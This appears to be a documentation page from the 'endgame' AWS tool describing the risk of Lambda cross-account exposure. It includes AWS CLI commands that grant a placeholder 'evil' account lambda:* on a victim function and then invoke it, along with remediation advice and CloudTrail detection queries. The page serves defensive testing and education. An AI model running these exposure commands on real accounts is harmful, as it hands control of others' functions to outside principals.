endgame/docs/risks/lambda-functions.md

6.1 KiB

Lambda Function Cross-Account Access

AWS Lambda Permission Policies (aka resource-based policies) can allow functions to be invoked from AWS accounts other than the one it is running in.

Compromised Lambda functions are a known attack path for Privilege Escalation and other nefarious use cases. While the impact often depends on the context of the Lambdas itself, Lambda functions often modify AWS infrastructure or have data plane access. Abusing these capabilities could compromise the confidentiality and integrity of the resources in the account.

Existing Exploitation tools such as Pacu have capabilities that help attackers exploit compromised Lambda functions. Pacu, for example, has modules that leverage Lambda functions to backdoor new IAM roles, to modify security groups, and to create new IAM users. As such, Lambda functions are high-value targets to attackers, and existing exploitation frameworks such as Pacu and others increase the likelihood for abuse when a Lambda function is compromised.

Steps to Reproduce

  • Option 1: To expose the Lambda function using endgame, run the following from the victim account:
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil

endgame expose --service lambda --name test-resource-exposure
  • Option 2: To expose the Lambda Function using AWS CLI, run the following from the victim account:
export EVIL_PRINCIPAL_ACCOUNT=999988887777

aws lambda add-permission \
    --function-name test-resource-exposure \
    --action lambda:* \
    --statement-id Endgame \
    --principal $EVIL_PRINCIPAL_ACCOUNT
  • To view the contents of the exposed resource policy, run the following:
aws lambda get-policy --function-name test-resource-exposure
  • Observe that the contents of the exposed resource policy match the example shown below.

Example

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Endgame",
      "Effect": "Allow",
      "Principal": {
        "AWS": "999988887777"
      },
      "Action": [
        "lambda:*"
      ],
      "Resource": "arn:aws:lambda:us-east-1:111122223333:test-resource-exposure"
    }
  ]
}

Exploitation

  • Authenticate to the evil account (In this example, arn:aws:iam::999988887777:user/evil)

  • Run the following command to invoke the function in the victim account:

export VICTIM_LAMBDA=arn:aws:lambda:us-east-1:111122223333:test-resource-exposure
aws lambda invoke --function-name $VICTIM_LAMBDA
  • Observe that the output resembles the following:
{
    "ExecutedVersion": "$LATEST",
    "StatusCode": 200
}

Remediation

  • Trusted Accounts Only: Ensure that cross-account Lambda functions allow access only to trusted accounts to prevent unknown function invocation requests
  • Ensure access is necessary: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
  • AWS Access Analyzer: Leverage AWS Access Analyzer to report on external access to Lambda Functions. See the AWS Access Analyzer documentation for more details.
  • Restrict access to IAM permissions that could lead to exposure of your Lambda Functions: Tightly control access to the following IAM actions: - lambda:AddPermission: Grants permission to give an AWS service or another account permission to use an AWS Lambda function - lambda:GetPolicy: Grants permission to view the resource-based policy for an AWS Lambda function, version, or alias - lambda:InvokeFunction: Grants permission to invoke an AWS Lambda function - lambda:ListFunctions: Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function - lambda:RemovePermission: Grants permission to revoke function-use permission from an AWS service or another account

Also, consider using Cloudsplaining to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure. See the example report here

Basic Detection

The following CloudWatch Log Insights query will include exposure actions taken by endgame:

fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='lambda.amazonaws.com' and eventName like 'AddPermission'

The following query detects policy modifications which include the default IOC string:

fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='lambda.amazonaws.com' and (eventName like 'AddPermission' and requestParameters.statementId='Endgame')

This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.

References